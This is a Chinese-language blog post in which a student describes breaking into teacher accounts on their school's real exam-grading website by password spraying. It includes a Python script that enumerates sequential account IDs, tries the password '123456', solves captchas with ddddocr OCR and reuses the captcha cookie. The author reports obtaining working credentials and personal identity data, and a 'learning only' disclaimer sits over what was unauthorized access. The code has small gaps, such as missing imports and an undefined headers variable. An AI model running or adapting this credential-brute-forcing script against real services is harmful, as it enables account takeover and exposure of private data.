声明:仅供学习交流,严禁用于非法用途,本文中涉及的所有隐私信息已模糊处理。代码水平和思路有限,仅供参考
目录
一、惨淡的背景
这不是眼看高考假吗?作为苦作为一名牛马好不容易放假两天,然后我搞鼓起来了学校平时月考的网络阅卷系统,登录上老师账号,正当我看完我的半期成绩,淡灰色的面上多了两行心酸的泪水,看着和第一名的差距,于是我关掉手机决心好好学习.......stop!偏题了!!!
应该时我退出登录的时候看见了这个简单的登录界面,加上老师初略的密码“123456”,顿时,我想起了五个大字“弱口令爆破”。说干,咱就开始干!
二、“用料”
-
python
-
ddddocr、os、requests等相关库
-
善于观察的眼睛,萎缩的脑子
-
亿点点网络通信知识和爬虫知识...
ddddocr:一个本地验证码识别ocr,超级好用,“带带弟弟”NB!好评!点击蓝色文本跳转GitHub仓库
三、让我们开始吧
1、拣一点有用的东西
- F12打开浏览器开发人员工具
- 随便输入账号密码,点击登录
然后我们就得到了“login”的响应包,如图所示↑
接下来让我们对响应包经行分析
响应方法为:get
发送载荷是表单如下:
userName: 123
password: 123
captchaVerifyParam: 123
响应内容:
{
"msg": "验证码合规校验参数不能为空!",
"code": 500,
"data": "",
"yzcode": 500
}
然后我们来解决验证码的问题
由上图我们发现每次发送登录请求的时候都会向www.xxx.com/api/account/captcha 发送请求获取验证码,经过打开确认,于是我们得到了验证码地址
2、更深入一步
通过刚刚我们获取的信息,我们现在可以简单的梳理一下程序的运行方式了
已知账号的正确格式为:T000XX0XX
- 遍历账户,通过循环每次增加一,来构造userName字段,password字段同一为“123456”
- 使用ddddocr获取验证码
- 添加一个间隔发送时间,避免被当成Ddos拦截
- 判断得到json来判断是否登录成功
import requests
import ddddocr
# 获取验证码并保存
def get_captcha(session):
captcha_url = "https://www.XXX.com/api/account/captcha"
response = session.get(captcha_url)
with open("captcha.jpg", "wb") as f:
f.write(response.content)
return session.cookies.get("XXXX_Captcha_Key")
# 识别验证码
def recognize_captcha():
ocr = ddddocr.DdddOcr()
with open("captcha.jpg", "rb") as f:
image = f.read()
return ocr.classification(image)
# 发送登录请求
def login(session, username, password, captcha):
login_url = "https://www.XXXX.com/api/account/login"
payload = {
"userName": username,
"password": password,
"captchaVerifyParam": captcha
}
response = session.post(login_url, data=payload, headers=headers)
return response.json()
# 遍历账号并判断结果
def traverse_accounts(start, end, password, interval):
with alive_bar(end - start + 1, title="Processing Accounts") as bar:
for i in range(start, end + 1):
username = f"T{i:08d}"
session = requests.Session()
captcha_key = get_captcha(session)
captcha = recognize_captcha()
result = login(session, username, password, captcha)
if result.get("yzcode") == 500:
print(f"疑问账号: {username}")
elif result.get("code") == 500 and result.get("yzcode") == 200:
print(f"失败或空账号: {username}")
elif result.get("code") == 200:
print(f"已破解账号: {username},School Name: {result['data']['schoolName']}, Role Name: {result['data']['roleName']}")
time.sleep(interval)
bar()
# 用户输入
start_range = int(input("请输入起始账号 (例如 T00012XXX 则输入 12XXX): "))
end_range = int(input("请输入结束账号 (例如 T00013XXX 则输入 13XXX): "))
password = input("请输入密码 (例如 123456): ")
interval = int(input("请输入每次发送登录表单间隔的时间 (单位: 秒): "))
# 执行账号遍历
traverse_accounts(start_range, end_range, password, interval)
3、咦,bug?
我们发现上述登录时候全部显示验证码校验失败,于是开始检查我的每一行程序,再确认无误后,我百思不得其解,我认为是验证码识别模组的问题
我停止了程序的ddddocr识别并改成了把验证码下载下来,我手动输入,可是还是得到一样的结果。
就在我想要放弃的时候,我重新浏览获取的响应包,有了重大发现
原来在获取验证码的时候网站通过post请求设置了cookie
如图片“SET-COOKIE” ,并且登录时对cookie做了判断,来确定当前验证码是否有效
于是我们可以添加以下内容到程序
# 获取验证码并保存
def get_captcha(session):
captcha_url = "https://www.XXX.com/api/account/captcha"
response = session.get(captcha_url)
with open("captcha.jpg", "wb") as f:
f.write(response.content)
return session.cookies.get("HxxAI_Captcha_Key")
# 发送登录请求
headers = {
"Cookie": f"web_msid=example; HxxAI_Captcha_Key={session.cookies.get('HxxAI_Captcha_Key')}"
}
response = session.post(login_url, data=payload, headers=headers)
return response.json()
在上面我们提取了cookie,并且在发送时候使用。而且还重新构造了一msid发送,增加了模拟登录的合法性
四、程序总体与运行
登录成功后我用构造的msid向个人主页发送请求,就可以拿到账号的详细信息,这里篇幅不够,所以特此说明
-
获取验证码与登录请求:
- 通过GET请求获取验证码,同时获取响应头中的cookie。
- 使用POST请求提交登录表单,包括用户名、密码和验证码。
-
验证码识别与输入:
- 使用ddddocr库对验证码进行识别。
- 用户输入账号范围和密码,程序遍历所有账号进行登录尝试。
-
响应处理:
- 针对不同的响应体,程序判断账号状态(验证码校验失败、密码错误、登录成功)。
- 对于成功登录的账号,进一步获取用户角色信息,并保存相关数据。
-
进度显示与异常处理:
- 使用alive_progress库显示当前程序进度。
- 对于验证码异常的账号,程序提示用户手动输入,并进行倒计时处理。
-
数据保存:
- 每次运行完一个账号,将账号类型写入对应的文件,确保数据不丢失。
运行结果↑,于是我们就拿到了详细的账号密码,和身份信息
项目的源码已经上传到GitHub,欢迎大家下载使用,并提出宝贵意见。
GitHub链接:点这里
五、反思
这次的弱口令爆破经历让我受益匪浅。网站的验证码具有一定复杂性,因此,我选择了使用
ddddocr
库进行验证码的识别。初次尝试时,识别率并不理想,通过不断调整参数和优化图片处理,最终达到了较为满意的识别效果。总而言之,今天晚上就这样,欢迎各位批评指正。手动狗头保命